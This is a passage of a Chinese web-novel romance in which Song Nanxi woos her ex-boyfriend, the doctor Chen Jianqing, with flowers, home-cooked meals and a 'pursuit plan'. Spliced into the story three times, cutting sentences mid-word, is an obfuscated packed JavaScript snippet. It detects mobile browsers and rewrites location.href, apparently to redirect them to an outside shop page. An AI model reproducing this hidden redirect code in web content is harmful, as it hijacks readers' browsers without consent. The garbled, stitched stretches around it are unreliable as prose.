有人猜测,这是风雨欲来的征兆,还有人猜测,女魔头可能是恋爱了。 一直到下班时间,这种猜测才有了明确的指向。 向来以加班狂魔著称的宋南汐今天竟然难得的准时下班了,临走前甚至还对大家说:“今天早点下班,该约会的约会,该回家的回家。” 当天,宋南汐恋爱的消息在公司不胫而走。 下班后,宋南汐开着车直接去了医院,算着陈见青的下班时间,宋南汐本想给陈见青发个微信,打开页面才发现自己没加他。 最后只能发了一条短信: 陈医生下班了吗?——来自追求者001号。 很快对方回了过来:来我办公室。 宋南汐笑了笑,抱着副驾驶上的花下了车。 一路上了二楼,来到陈见青办公室,门是半掩着的,隐约看到陈见青被几个年轻医生围着,看起来是实习生。 宋南汐正在纠结要不要敲门的时候,陈见青似有所感似的朝她这边看了过来。 几个实习生的目光也被吸引过去。 宋南汐有些不好意思,举着那束花半遮着自己的脸只漏出一双弯弯的眼睛。 陈见青冲着她下巴微抬:“进来等。” 宋南汐依言进了屋,微笑着跟那几个面色如土的实习生打了声招呼,然后坐在一旁安静地等陈见青。 陈见青工作的时候很认真,训话的时候也是不苟言笑的,看起来别有一番魅力。 但在实习生的眼中就不是这么回事了。 陈见青翻开桌上最后一个记录本,排在最后的易醇胆战心惊地走上前。 眼见着陈见青脸色越来越臭,易醇脸上的表情也越来越破碎。 片刻后,陈见青把记录本推给易醇,冷声道:“把你写的那堆东西念一遍。” 易醇颤颤巍巍拿起自己的记录本,声音跟蚊子嗡嗡似的,饶是离得近的人都听不清她在说什么。 陈见青抬眼看她:“大声点。” 易醇小声道:“老师,对不起,我笔误少写了个解字。” 宋南汐坐在一旁有些好奇,自家表妹到底写了什么,惹得陈见青这么生气。 陈见青道:“说说你写的。” 易醇深吸了口气,闭了闭眼,嗓音有种不顾人死活的清亮: “患者昨日规律进食黑色稀便一次。” “……” “噗嗤”一声,静默的空气中响起一声轻笑,易醇有些幽怨地看了一眼自家表姐。 没忍住笑出声的宋南汐憋着笑摆了摆手,“对不起,你们继续。” 易醇低着头,“老师,我错了,下次我一定会仔细检查的。” 陈见青:“今天回去每个人写一份自我检讨,明天交上来。” 没人应声,每个人脸上都是生无可恋的表情。 陈见青站起身,看向宋南汐:“在这等会,我去换衣服。” “好。” 陈见青走后,办公室里只剩下她和几个实习生。 易醇朝她走过来,“表姐,你怎么来了?” 宋南汐说:“来接陈医生下班。” 有个男生看起来很惊讶,“师母,那个今天早上的红色大G不会是你的吧?” 宋南汐点点头:“是我的,怎么了?” 几个实习生面面相觑,尴尬笑了笑,那个男生说:“没事没事,那师母我们就先走了。” 几个人打完招呼你推我我推你似的挤出了门。 宋南汐疑惑地问易醇:“他们怎么了?” 易醇脸色有些尴尬,“今天医院内部传言你跟老师感情破裂,有人说老师出轨了,有个开红色大G的富婆看起来跟老师举止亲密,疑似在追求老师。” 富婆本人:“……你们可真八卦。” 易醇赶紧表明真心:“表姐,天地可鉴,我可没有参与这个八卦的讨论!而且我知道的,那些传言都是假的,你跟我老师早就分手了,连感情都没有,更别提破裂了。” 宋南汐意味不明笑了声:“感情这种事也不一定。” 易醇看了眼宋南汐怀里的花,“表姐,你不会在追我老师吧?” 宋南汐抱着花,挑了挑眉:“不然呢?” 易醇瞪大了眼:“真的?!那、那之前说你渣了我老师的那个传言是真的吗?” 宋南汐想了想,“差不多吧。” 易醇难以形容自己的心情,“这种情况也能复合?” 宋南汐“啧”了声,“小屁孩,你不懂这些。” 易醇确实不太懂,对于学校里那些关于陈见青卑微求爱的传言,她听了不少版本,譬如为爱喝酒喝到酒精中毒啦,譬如一个人在女生宿舍楼下哭啦,再譬如为爱跳河求复合啦等等。 不过,自从知道自家表姐就是那个前女友之后,易醇私心里觉得那些传言都不可信,她很了解,表姐是个心地善良又柔软的人,绝不可能是他们口中的渣女。 虽然不知道他们当初为什么分手,但易醇相信一定有难言之隐,不然两个人也不会念念不忘这么多年,现在再次重新走到一起。 这么一想,易醇就有些想通了。 她得出一个结论,传言都是假的,只有表姐和老师轰轰烈烈的爱情才是真的。 宋南汐不知道这姑娘在发什么呆,盯着她一动不动的,“想什么呢?” 易醇的思绪兀地被打断,有个念头突然浮现在脑海,她眼睛瞬间亮了亮,“表姐,等期末的时候,你能让老师……呃……未来的姐夫画一下期末考的重点吗?” 易醇一脸期待地看着自家表姐,宋南汐看了眼她的身后,欲言又止。 “你学医的画什么重点?”陈见青的声音从背后传来。 易醇瞬间脊背一僵。 陈见青已经换好了衣服,穿着卡其色风衣,看起来仪表堂堂、玉树临风,往她面前一站,说出的话还是一往的毒舌:“难道以后病人找你看病,你跟他说你的病不是重点,回家长个重点再来看?” 易醇已经把自己缩成了个鹌鹑,小声道:“老师,对不起,我错了。” 陈见青:“今天回去把所有解剖操作抄十遍,一周后交上来。” 易醇苦着脸:“老师,两周行不行?” 陈见青觑她一眼:“三天。” 易醇想跟自家表姐求救一下,奈何陈见青挡在她们两个中间,严严实实的,她颤巍巍伸出手指:“一周。” 陈见青语气不容拒绝:“两天。” 易醇深吸口气:“……好的,老师。” 气氛有片刻的凝滞,陈见青怀里突然被塞了一束花,是一束很漂亮的蓝色妖姬。 陈见青垂眸看着怀里的花没说话,宋南汐从他身后钻出来,眉眼弯弯道:“特意买给你的,喜欢吗?” 宋南汐观察着他的表情,看不出喜欢还是不喜欢,她又要问的时候,陈见青突然说:“先回家吧。” 陈见青抱着花走在前面,宋南汐跟在他身后,悄声回头对身后的易醇无声说了句加油。 走到门口的陈见青突然回过头,对着身后的易醇说:“解剖作业一周后交上来。” 正处于低迷情绪的易醇闻言猛地抬起头,如蒙大赦般朝着门口说:“谢谢老师!” 宋南汐笑了笑跟着陈见青下了楼。 一路上,陈见青都抱着那束蓝色妖姬,宋南汐本想替他拿着,毕竟医院里都是他的同事,被人看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174277|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见后指不定又传出什么谣言来。 但陈见青却毫不在意,兀自抱着那束花走在宋南汐身侧,还时不时地跟路过的医护打招呼。 还有年轻医生笑嘻嘻叫她师母,宋南汐没有回应也没有反驳,只是尴尬笑笑。 毕竟两人也没有真正确认关系。 期间,她还偷偷看了眼陈见青的表情,堪称和颜悦色,看起来心情还挺好。 一直到了车上,宋南汐又问他:“陈见青,花怎么样?” 陈见青“嗯”了声,“颜色挺漂亮的。” 宋南汐说:“那你记不记得,你送我的第一束花也是蓝色妖姬。” 陈见青没说话,宋南汐又继续道:“陈见青,昨晚我梦到了我们的第一次约会。” 第一次约会的时候,陈见青约她看了一部电影,吃了一顿甜蜜的晚餐,然后牵手慢悠悠踱步回学校,其实和她的大多数约会经历差不多,没什么记忆点。 但宋南汐直到现在依旧清楚地记得那天看了什么,吃了什么,说了什么。 那天回学校的路上,遇见一个卖花的老奶奶,摊位上摆满了鲜花。 正值黄昏,天边火红的夕阳连成了一片,艳丽的鲜花也被渡上了一层光辉,像是天神赠与的礼物。 宋南汐没忍住看了一眼,或许就是这一眼,陈见青留意到她的目光,牵着她来到花摊前,“看看,喜欢哪一束。” 红色的、蓝色的、白色的花应有尽有,每一束花上都标着价格,每一束都价格不菲。 她的目光在那束蓝色妖姬上停留片刻,一眼看到那束花的价格:45元人民币。 宋南汐想也不想拉着陈见青就要走。 卖花的老婆婆很有眼力见地说道:“姑娘,来一束吧。这花寓意可好了,能保佑着情侣长长久久呢。” 陈见青拉住要走的宋南汐,声音温和,“奶奶,这束花叫什么名字?” 老婆婆说:“蓝色妖姬。” 陈见青说:“那我来一束。” 宋南汐还没反应过来,陈见青就已经付了钱,她只觉得肉都在滴血,又不好发作。 一束45,这对宋南汐来说不算什么钱,但对当时勤工俭学的陈见青来说无疑是一笔不小的支出。 付完钱,老婆婆眉开眼笑地说:“愿你们和这花的寓意一样美好,天长地久,恩爱美满。” 陈见青把花塞进宋南汐怀里,笑着跟老婆婆道了声谢。 等走远了,宋南汐没好气地锤了下他的胸口,说了句:“陈见青,你疯了,买这么贵的花。” 陈见青笑着握住她的拳头,把她扯进怀里。 “不贵。”宋南汐听见陈见青的胸腔震动,他说:“宋南汐,这花很适合我们。我想和你长长久久。” 那天,宋南汐心跳如鼓,她用一个吻回应了他。 曾经的承诺放到现在的他们身上来看竟然觉得有些可笑。 陈见青淡声回她:“记得。” 宋南汐其实是想问他,记不记得当时卖花的老奶奶说了什么,记不记得这花的寓意。 但话到嘴边又咽了回去,不知道为什么总有一种莫名的心虚感。 她系好安全带,正要启动车的时候,听见副驾驶的陈见青轻嗤了声:“花挺好看的,花语应该是胡说八道的。” 宋南汐顿了顿,想起她今天送花其实也是想跟他表明真心来着。 她想借这束花告诉他,她想和他重新开始,长长久久的。 被陈见青这一说,宋南汐把心底的蠢蠢欲动压了回去,她讪笑道:“花语其实只是送花之人情感的一种表达而已。” 陈见青闻言挑了挑眉,“那你想表达什么?” 宋南汐思绪有一瞬的卡壳,“我想表达……呃……人比花艳。” 陈见青:“……” 29. 攻略计划 两个人买完菜回到家,陈见青去厨房做饭,宋南汐就在客厅逗猫猫。 吃晚饭的时候,宋南汐的手机一直在响,她拿起手机看了眼,满屏都是来自曾岳的消息轰炸。 【???】 【你真在追陈见青啊?】 【今天早上陈见青告诉我的时候我还以为他癔症了。】 【闹了半天癔症的是我。微笑emoji。】 【短短几天时间发生了什么?】 【亏我还那么费心地帮你俩错开时间避免碰面,合着你俩都快谈上了,就我还蒙在鼓里。】 【宋南汐,我已经分不清我究竟是你哥还是小丑了。】 宋南汐一条条看下来,越看越心虚。 这两天沉浸在与陈见青和好的欣喜中,忘了告诉曾岳这件事了。 正要思考怎么回的时候,突然不小心点到了输入框,宋南汐立刻手忙脚乱摁了返回。 但还是来不及了,曾岳的消息立刻弹了出来。 是一张跟她的对话页面的截图,给她的备注是大兔崽子,备注下方显示着对方正在输入中…… 宋南汐:“……” 不愧是医生的手,又快又准。 曾岳的消息继续弹出来:【别装死,说话。】 宋南汐回他:【大兔崽子是什么鬼?小兔崽子又是谁?】 曾岳:【小兔崽子是易醇,你们两个都是没良心的,专门来坑我的。别岔开话题,解释。】 倒打一耙转移话题失败,宋南汐只能老实解释:【哥,亲哥,我错了。】 【其实,我也是昨天才开始追陈见青的,没比你知道的早多少。】 【哥,天地可鉴,我真没想瞒你的。】 宋南汐回完后,曾岳隔了几分钟才回过来:【想好要复合了?】 宋南汐回他:【我想再试试。】 好半会,曾岳回过来一条消息:【你俩秀恩爱的时候低调点,现在陈见青的小粉丝们都要酸掉牙了。】 宋南汐:【什么意思?】 曾岳发过来一张他们内部群的聊天记录长截图: ct不ct:【搞错了!搞错了!咱们陈主任没出轨。】 司来吉兰:【什么?我男神没脏?】 缝小肛:【今天去老师办公室被训话的时候,正好碰到师母来接老师下班,这才知道原来上午送老师上班的富婆就是师母本人!】 牛马医学生:【而且师母还是抱着花来接老师的!可浪漫了!】 逢胸化吉:【老陈可以啊!,闷声干大事!一找就找了个漂亮富婆!】 菊与刀:【陈医生女朋友是不是那个菌子中毒的患者啊?】 工藤新医:【就是那个女患者!】 研究生:【啊啊啊我慕了,根本想象不到我们帅气高冷的陈医生谈起恋爱来是什么样!】 傍大腿:【慕了加一。】 研究死:【我作证,老师对师母真的超温柔的!今天训话的时候,老师一直都是冷脸,吓得我们大气不敢出,等面对师母的时候立马和颜悦色,那变脸速度堪称史上一绝。】 司来吉兰:【不愧是我男神!我就知道出轨传闻是谣言!】 富马酸比索洛尔:【今天好多人都看见了,陈主任抱着花下班的时候简直如沐春风的,还主动笑着打招呼呢!我差点以为自己幻视了!】 解剖作业抄十遍:【弱弱补充一句,其实两个人还没正式恋爱呢,陈医生还在被追求中……】 缝小肛:【不是都亲过了吗?还没确认关系?这是什么情侣之间的小情趣吗?】 牛马医学生:【多追,爱看!我就喜欢这种郎才女貌的秀恩爱戏码!】 …… 宋南汐通篇浏览下来,下意识看了眼对面的陈见青。 温柔?和颜悦色?如沐春风?这是怎么看出来的? 明明应该是高冷、毒舌、不近人情才对。 还有今天去接陈见青的时候,他让她去办公室等他。宋南汐合理怀疑陈见青是在利用她澄清出轨谣言。 察觉到宋南汐的目光,陈见青恰好抬眼看过来,“怎么了?” 宋南汐打开曾岳和她的聊天页面,举着手机给陈见青看,“陈见青,怎么办?现在你们全医院的人都知道我在追你了。” 陈见青淡声道:“同事之间的八卦而已,不必在意。” “你不在意?”宋南汐收回手机,审视着他,“你不在意还让我去你办公室等你,难道不是为了破除出轨谣言?” 陈见青握着筷子的手顿了下,“怕你待在车里无聊而已。” 宋南汐慢吞吞“哦”了声,“原来你不在意啊,那还不如让我在车里等你。这样医院里的人就不知道我在追你了。” 她的语气中似乎有点懊恼,陈见青撩了撩眼皮,声音很沉,“追我很丢人?” 宋南汐小鸡啄米似的点了点头。 眼见着陈见青脸色越来越臭,宋南汐委屈巴巴道:“现在大家都已经认定我是你未来女朋友了,如果最后我追不到你的话,那真的很丢人唉,以后我都不敢去你们医院看病了。” 陈见青面色稍缓,“你怎么知道追不到?” 宋南汐眼巴巴的看着他,琥珀色眸子里的狡黠终于藏不住,“所以你的意思是,我最后肯定能成为你女朋友?” 陈见青面色上闪过一抹不自然,垂眸不再看她,“看你表现。” “嗯嗯。” 得到想要的答案,宋南汐满意地低头吃饭。 或许是回答的有点敷衍,陈见青又道:“宋南汐,我很难追的。” “知道了知道了。”宋南汐说,“等我今晚回家连夜赶制一份切实可行的策划书交给你过目,行不行?” 陈见青默了默,“怎么追人是你的事,没必要告诉我。” “懂了。”宋南汐一脸看透的表情,“原来你喜欢惊喜啊!” 陈见青:“……” 宋南汐追问:“陈见青,能向我透露一下,你更喜欢什么惊喜吗?” 陈见青:“……闭嘴,吃饭。” 宋南汐:“闭嘴怎么吃饭?” “……”陈见青抬眼看她,猝不及防撞进那双含笑的眼睛里,他语气有些无奈:“安静点,宋南汐。” 宋南汐撇了撇嘴,“连追都没追到,你就开始厌烦我了。” 语气听上去有些可怜,这让他想起了大学时期的宋南汐,高度概括为——很爱装可怜、偶尔还会无理取闹的戏精小狐狸。 就像现在一样,明明知道她是故意的,陈见青还是忍不住想哄她,“我没有厌烦你。” 宋南汐立刻笑眯眯抬起头,“那你喜欢我啊?” 陈见青深吸了口气,低头吃饭,彻底不理她了。 宋南汐也不再逗他,笑着低头吃饭了。 吃完饭后,已经是晚上八点多了。 宋南汐正准备回家,忽然想起什么,又拿着手机折返回去。 陈见青问:“怎么了?” 宋南汐打开微信二维码,“陈见青,我还没加你的微信。” 陈见青拿来手机,打开微信扫一扫,“滴”地一声。 宋南汐看了眼手机,并没有收到陈见青的好友申请,“怎么回事?网络延迟?” 陈见青把手机上的付款页面拿给宋南汐看,语气闲凉:“加你好友前还要先收钱?” 宋南汐看了眼自己手机上的二维码才发现是收款码,她立马调回了正确的二维码,讪笑着重新递过去手机:“陈医生,您请加。” 这次手机上终于弹出一条好友申请:C请求添加你为好友。 头像是一片火红的夕阳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183140|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋南汐立刻点了同意。 她笑着扬了扬手机,“好啦,那我走啦。” “等等。”陈见青叫住她。 宋南汐回头,听见他说,“我家密码1021,以后过来不用敲门。” 1021是10月21的意思?那不就是昨天?他们和好的日子? 应该是碰巧吧,陈见青也不像是那种会纪念节日的人。 况且,好像也没什么好纪念的。 这么想着,宋南汐乖巧应了声好,转头回家了。 回家后,宋南汐跑去书房打开电脑文档,竟然真的开始做起了策划书。 她在首页标题栏打下几个大字:追爱策划书。 想了想又删掉,重新敲下几个字:攻略大小姐计划。 傲娇大小姐可不就是陈见青本体么。 宋南汐满意地摁下回车键,手搭在键盘上,面对空白的文档页,她的大脑也一片空白。 追人……要怎么追来着? 回想起唯一一次追人经历,还是追陈见青的时候。 现在仔细想想,当时好像也没做什么,无非就是:陪他上课、一起吃饭以及看他打工。 几分钟后,宋南汐打开手机,点开某乎,想看看有什么新奇的追人方式。 搜索栏上,她输入几个字:如何追求自己的前任。 搜索出来一个高赞回答:追个屁!天冷了,我只关心他的棺材板厚不厚。 底下一水的附和。 宋南汐觉得自己搜索方向好像错了,她又重新搜索:如何追求自己喜欢的男生。 宋南汐筛选出几个点赞量较高的回答虚心学习。 几个小时后,她洋洋洒洒敲下数十页理论知识。 为了确保其可信度,宋南汐专门加了某乎上面的一个情感博主付费咨询。 她将自己敲了几个小时的劳动成果给那位情感博主发了过去。 并提出自己的问题:[您好,近期我在追求一个男生,专门为此做了个计划书,您看看是否合理的呢?] 不过五分钟那博主就回了过来,宋南汐怀疑她可能只看了个标题,压根没有好好看她的内容。 七七情感分析:[姐妹,你这策划书上全是理论知识,事实上根本没什么用。] 宋南汐虚心求教:[那您有什么方法吗?] 七七情感分析:[很简单,去跟他表白。] 宋南汐想起今天在饭桌上,她以开玩笑的口吻问陈见青喜不喜欢自己时,回答她的只有沉默。 她有些心塞地问:[如果表白失败呢?] 几分钟后,七七情感分析再次发来消息:[你非他不可?] 宋南汐想了想:[目前是这样。] 七七情感分析:[那我只能拿出我的压箱底大招了!] 宋南汐看见压箱底这两个字顿时来了兴趣,毕竟这可是有着几万个粉丝的高赞情感博主,能成为她压箱底的好东西必然不简单。 七七情感分析:[不过,我这是独家秘笈,需要付费解锁,250RMB。] 宋南汐毫不犹豫转账。 两分钟后,对面给她发了一个收到的表情包。 宋南汐期待地等着她的独家秘笈,以为会是个大文档,但对方只给她发来了一句话:[你去跟他近身肉-搏一下。] 宋南汐:[什么意思?] 七七情感分析:[简言之,睡他!] 宋南汐:[……] 宋南汐不死心地问:[没了?] 七七情感分析:[没了。] 宋南汐盯着屏幕上那两行字还有那个250的转账蓦地气笑了。 几分钟后,气哄哄的宋南汐噼里啪啦打下一堆字: [你粉丝都是买来的吧?] [退钱!!!!] 30. 抛个媚眼 钱最后还是没有退回来,因为那博主最后压根不回消息了。 宋南汐坐在书房盯着250的转账心梗了一会,最后十分屈辱地向平台点击了举报,在举报理由那一栏,她恨恨输入两个字:诈骗! 举报完,她的目光又不自觉移到电脑上,盯着“攻略大小姐计划”那几个大字看了几秒,最后连接打印机,把那十几页文档统统打印了下来。 一分钟后,宋南汐把尚有余温的纸张整理好装订起来,一页一页审视了一遍,到最后一页的时候,宋南汐提笔在上面重重写下两行字,力透纸背: 归纳总结:一、表白。二、睡他(划掉)强迫他(划掉)强制爱(划掉)霸王硬上弓! 宋南汐看着第二步还是有些犹豫,但一想到那令人肉疼的250,她立马转变了自己的思想。 表白失败就进行第二步也未尝不可,毕竟现在网络上先睡后爱的人比比皆是。 是的!那个博主说的是有道理的!实践出真知!纸上谈兵是没有用的! 250不能白花! 这么想着,她关掉电脑,合上计划书,关了灯去睡觉。 一小时后,墙上的挂钟滴滴答答指向三点。 在床上辗转反侧的宋南汐再次爬了起来,打开灯朝书房走去。 她坐在书桌前,打开那份计划书,翻到最后一页,然后提起笔非常不舍地把第二步划掉了。 她思来想去还是觉得强攻不可取,温水煮青蛙应该更适合陈见青。 脚边被一团毛茸茸的东西蹭了蹭,宋南汐低头一看,刚刚熟睡着的狗狗不知道什么时候醒了,此刻正在歪着脑袋蹭她的脚踝。 宋南汐蹲下摸了摸狗狗,“怎么醒了?” 青青舔了舔她的手指。 宋南汐看着面前的狗狗忽然想到什么,她轻轻捏着狗狗的下巴,征询它的意见:“青青,姐姐给你取个小名,好不好?” 青青疑惑地歪了歪脑袋,宋南汐把它脑袋掰正,手指摁着它的脑袋瓜点了点头。 宋南汐很满意,松开手继续道:“以后,小名就叫二百五,好不好?同意你就再点点头。” 青青不明所以地摇了摇尾巴。 宋南汐说:“点头。” 青青朝她吐着舌头摇尾巴。 宋南汐直接上手指挥着它点了点头,她满意的笑了笑:“二百五。” 青青(二百五)朝着她摇着尾巴叫了一声。 宋南汐抱起它,直接放进它的窝里,“乖,继续睡吧。” 宋南汐再次躺在床上,脑子里一想到今晚给青青取的那个小名,她就无比感叹自己的明智。 不仅能时刻警醒她防诈骗,青青还收获了一个满意的名字。 一举两得。 这么想着,心口的郁气消散的一干二净,没一会儿,她就陷入了酣甜的梦乡。 第二天一早,闹钟响了好几遍她才艰难地从床上爬起来。 眼都没睁开,就循着记忆去给狗狗换水换粮。 换完,还神志不清地喊了句,“吃饭了,二百五。” 狗狗适应地很快,很容易就接受了新名字,满足地开始炫饭。 宋南汐去洗手间洗漱,凉水扑在脸上,她瞬间清醒了,脑子里不禁回忆起昨晚整理的那份攻略内容。 首先在化妆和穿搭上要有点小心机,很多男生都喜欢女孩纯欲的妆感,穿搭上也要适当的小女人一点。 宋南汐洗漱完后,坐在化妆镜前,打开手机,搜索纯欲妆容,找到一个点赞量最高的视频,开始照猫画虎。 半个小时后,镜中之人变了个模样。 看似寡淡的妆容放到她的脸上异常合适,浓艳立体的五官凸显的更加生动,眉眼间的英气也被削弱不少,淡粉色的口红只比唇色稍稍深些,搭配上身上的碎花长裙,竟有种小女人家的温柔。 宋南汐满意地弯了弯唇,手机上陈见青正好发来一条微信,催她去吃饭。 她在鞋柜挑了一双白色没过脚踝的白色高跟靴,挎上衣架上的白色风衣和包包,直接去了对面。 输入密码,开门,玄关处,陈见青已经把她的专属粉色拖鞋摆在了外面。 宋南汐弯了弯唇,换好鞋,把衣服包包都挂到衣架上,陈见青正好从书房出来。 宋南汐笑颜如花地凑到他跟前,“陈见青,有没有觉得我今天很不一样?” 那张极具冲击力的五官突然在眼前放大,陈见青甚至能看到她脸上的细小毛孔,琥珀色的眼睛直勾勾地看着他,异常勾人。 他不自觉屏住呼吸,心跳快的无所适从。 宋南汐看着他一脸呆滞的表情,有些期待地问:“我今天是不是格外的不同?比如……格外的——” “——你整容了?” 还未脱口的漂亮两个字被宋南汐咽了回去,笑容彻底僵在脸上,唇线渐渐绷直,随后退开,面无表情道:“谢谢,本人天生丽质,暂时没有整容的需要。” 陈见青的眼睛里闪过一丝笑意,“粥温在锅里,你先坐,我去端出来。” 宋南汐“哦”了声,对着厨房那道身影努了努嘴,真是个钢铁直男。 很快,陈见青端了两碗粥上桌,宋南汐拿着勺子尝了一口,咽下去后舌尖还残留着一点回甘的微甜,“这是什么粥?好好喝!” “山药薏米粥,”陈见青说,“养胃的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192772|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋南汐抿了抿唇,心中暗喜,陈见青其实也没那么直男嘛,还是很关心她的。 宋南汐对昨晚的攻略计划又有了点信心,想起其中一条指南:适当地给对方抛媚眼,不经意间让对方感受到你的魅力,然后渐渐沦陷在你的美貌里。 于是,接下来,每当陈见青抬头的时候,她就会学着昨天在博主那学的动作,用一种暗送秋波的眼神朝对方抛个媚眼。 反复几次,宋南汐觉得自己都快得干眼症了,陈见青竟然还是一点反应也没有。 宋南汐瞬间有点怀疑自己,难道动作不对?还是情绪不够? 自我调整一番,在陈见青再次抬头时,宋南汐朝着他很浅地弯了弯唇角,然后缓慢地眨了眨眼睛。 这次,陈见青终于说话了,“你眼睛不舒服?” “……”宋南汐抻着脖子,脑袋往他跟前凑近,微笑着眨了眨眼睛:“你觉不觉得,我的眼睛里有点什么?” 陈见青欲言又止。 宋南汐再次朝他眨了眨眼睛,鼓励他说出心中所想,比如,眼里有星星,或者眼里有爱,哪怕说一句眼睛漂亮,宋南汐都会觉得这个媚眼抛的还是很成功的。 她期待地看着他,等待着他的回答。 陈见青的喉结上下滚了两下,沉默了几秒,轻声说:“你眼皮上有东西。” “…………”宋南汐坐直身子,一脸无语:“谢谢提醒,那东西的学名叫双眼皮贴。” 宋南汐泄了气,一言不发地继续喝粥,心里却不断吐槽: 真是媚眼抛给瞎子看,白白浪费感情! 像昨天一样,宋南汐把陈见青送到医院大门口,下车前,他特意叮嘱:“今天我值班不回家,早上的粥还有一些温在锅里,晚上你可以热一热。” 宋南汐想起什么,突然叫住他,“陈见青。” 陈见青拉车门的手顿了一下,“怎么了?” 宋南汐问:“你喜欢吃什么?” 陈见青坐回去,看着她,挑了挑眉:“给我做?” “嗯嗯!”宋南汐问,“你喜欢吃什么?我可以来给你送晚饭。” 毕竟攻略上说了,要抓住一个男人的心就要先抓住一个男人的胃。 陈见青思忖道:“能吃没毒就行。” “没了?”宋南汐说:“你可以点餐的。” 陈见青想了想,修正了自己的要求,“没毒就行。” 宋南汐:“……再见,请下车。” 陈见青不自觉牵了牵唇角,下车后,还不忘叮嘱她:“不用勉强自己,尽力就好。” 宋南汐:“……” 士可杀不可辱!陈见青的胃她抓定了! 31. 爱心晚餐 下午处理完工作,宋南汐踩着点脚步匆匆地赶回了家。 在楼下超市里买了鸡翅、空心菜还有一条鱼准备回家大展身手。 虽然厨房被弄得乱七八糟,过程有点惊心动魄,但好在大功告成! 宋南汐把食物都分装进食盒里,拍了张照片,给陈见青发过去: 【滴滴,您的爱心晚餐即将开始配送。】 陈见青几乎秒回:【直接来办公室。】 宋南汐到医院楼下的时候,给陈见青发微信:【我到医院啦。】 陈见青没有回,可能是在忙。 宋南汐提着装食盒的袋子直接去了他的办公室。 敲了敲门,没人。正要给陈见青打个电话的时候,身后传来一道年轻男声:“师母?” 宋南汐回头,那穿着白大褂的年轻男医生就笑起来,“师母,你是来找老师的吧?” 宋南汐微笑着点了点头,“他在忙吗?” 年轻医生说:“刚来了个出车祸受伤的,老师刚去急诊室。” 宋南汐点点头,跟他道谢:“好,谢谢你,我在这里等会他。” 年轻医生说:“老师那边可能一时半会不会结束,师母你可以去办公室等老师。” 说着,年轻医生还帮她打开了办公室的门,宋南汐道了声谢。 桌上放着陈见青的手机,应该是走得急没有拿。 宋南汐把保温袋放到桌上,然后坐在桌前打开手机上那份攻略文档,仔细斟酌研究了起来。 不知过了多久,宋南汐已经看完了十几页的文档,陈见青还没回来。 她站起来伸了伸懒腰,看着那扇紧闭的办公室门,忽然想去看看陈见青。 她好像还没见过陈见青救人的样子。 不过倒是没有如愿,还没走到急诊室,刚到拐角处就迎面碰上了陈见青。 身后跟着几个学生,易醇看见她眼睛亮了亮:“表姐!” 宋南汐下意识去看陈见青,陈见青的目光也恰好望过来,眸中含着点点笑意:“怎么不在办公室等?” 宋南汐注意到他的衣袖身前都沾染了血迹,也不知道刚刚经历了怎样一场惊心动魄的抢救,此刻站在那里,头顶的光打在他身上,朝她温柔笑着的模样真的很像小说里的救世神降临。 她吞了吞口水,下意识说出心中所想:“我想来看你。” 身后几个学生发出阵阵起哄声。 陈见青朝她走过来,唇角漾着一抹清浅的笑意,“先去办公室等我,我换个衣服很快就来。” 宋南汐倒是后知后觉地有些不好意思:“知道了。” 陈见青一走,那几个学生围上来,“师母,你是专门来给老师送饭的吗?” 宋南汐尴尬笑了下:“啊对。” 有个长相萌萌的女孩看着她:“师母,你可真好看。” “……谢谢。” 宋南汐被这猝不及防的夸奖噎了一下,随即又道:“那你们先忙,我先走了。” 易醇说:“表姐,我们一起吧。” 其中一个医生也道:“对,师母,我们正好也要去老师办公室拿作业。” “好。” 一路上,宋南汐几乎都在听着他们对于刚刚急救的讨论。 “哇,我还是第一次亲眼观看各科室会诊。” “谁不是呢,不过那几个专家还有老师真的好厉害啊,短短几分钟就给出了最佳治疗方案。” “老师他们说的我都熟,但让我自己上手我就说不出来。” “我也是,我要努力一点,争取成为很厉害的医生。” 正好到了办公室门口,宋南汐打开门,其他的人也跟着一起进来了。 宋南汐问了句:“那刚刚车祸的人活下来了吗?” 易醇点点头:“活下来应该没有什么问题,后期复建应该会痛苦一点。” 另一个女孩说:“那个患者长得超级壮,身上全是纹身,我刚看见的时候还以为是□□大哥呢。” 另一个男生也说道:“整个上半身还有胳膊上都是纹身,找血管都困难。” “不过春月姐姐技术真的很高超,就摸了几下就轻松找到了血管。” “纹身应该挺疼的吧,那个人纹的还是彩色纹身,应该会更疼吧?真是个狠人。” “不管彩色的还是黑白的应该是一样疼吧?至于疼痛程度应该是跟纹身部位有关吧?” “都是纹在身上,应该是一样疼吧。”易醇说着又看向宋南汐:“表姐,你不是纹过吗?你觉得呢?” 几个人你一言我一语的,话题渐渐偏移,最后又转到宋南汐身上。 宋南汐认真回想了一下,当时的感觉已经随着时间慢慢淡忘了,现在她也回答不出来,最后诚实道:“时间太久,我也忘了。” 